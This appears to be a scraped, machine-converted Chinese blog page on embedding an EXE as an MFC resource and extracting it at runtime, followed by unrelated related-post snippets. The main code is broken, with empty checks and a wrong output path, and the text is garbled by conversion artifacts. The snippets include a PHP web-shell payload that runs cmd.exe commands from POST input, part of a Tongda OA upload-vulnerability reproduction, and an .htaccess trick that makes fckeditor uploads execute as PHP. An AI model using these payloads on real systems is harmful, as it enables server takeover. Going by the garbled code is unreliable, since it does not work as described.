MFC將任意檔案放入資源中呼叫

2021-08-19 22:49:40 字數 1204 閱讀 2078

將乙個版本的程式包含到另乙個版本(母體)裡面,母體在執行的時候,判斷是不是自己需要的版本,如果是,那麼就執行,如果不是,那麼釋放出包含的那個版本的程式,然後執行釋放出來的程式。 

這樣就沒有必要將兩個程式**到一起,只是把乙個程式當作那個母體程式的資源包含到母體程式裡面 

新建了乙個mfc工程,然後在檢視資源的地方,選擇新增資源,會出現乙個對話方塊,一 

個開啟檔案對話方塊,這裡選擇開啟乙個exe檔案,然後又會出現乙個對話方塊,讓輸入資源的 

型別,這裡輸入exe,因為新增的檔案是exe檔案,當然新增的是什麼檔案就要輸入相應的類 

型(副檔名),然後資源就會被新增進去,並且vc會自動在左邊開啟(二進位制的),左邊的 

資源預設為idr_exe1,然後編寫** 

hrsrc       hrfile       =       findresource(afxgetinstancehandle(),makeintresource(idr_exe1), "exe ");     //後面這連個引數很重要   

if(hrfile==null) 

hglobal       hgfile       =       loadresource(afxgetinstancehandle(),hrfile);       

if(hgfile==null) 

lpvoid       pvfile       =       lockresource(hgfile);       

if(pvfile==null) 

handle       hffile       =       createfile( "c: ",generic_write,0,null,create_always,file_attribute_normal,0);       

dword       nfilelength       =       sizeofresource(afxgetinstancehandle(),hrfile);       

dword       nwritelength;       

writefile(hffile,pvfile,nfilelength,&nwritelength,null);       

closehandle(hffile);       

freeresource(hrfile);   

這樣就會在c:/下面生成乙個amn.exe,這個就是當時包含進去的那個exe檔案  

通達OA未授權任意檔案上傳和任意檔案包含漏洞復現

建立乙個上傳的頁面 開啟後,上傳乙個jpg,內容如下 儲存為jpg phpwsh new com wscript.shell or die create wscript.shell failed exec phpwsh exec cmd.exe c post cmd stdout exec stdo...

任意檔案打包進apk

預設情況android工程下的assets目錄下的所有檔案都會原封不動的打包進apk中,但apk安裝後這些檔案卻不會解包出來。只能使用inputstream和fileoutputstream將這些檔案寫入到需要的位置。inputstream is getresources getassets ope...

fckeditor任意檔案上傳漏洞

1.建立.htaccess檔案,內容如下 htaccess檔案可以用來設定某個目錄和某個目錄的子目錄的許可權,以上內容的意思是將副檔名是 php.gif 的檔案解析成php 2.使用如下url,上傳上面建立的的.htaccess檔案 通過這一步上傳,上傳目錄的 php.gif 檔案apache會按照...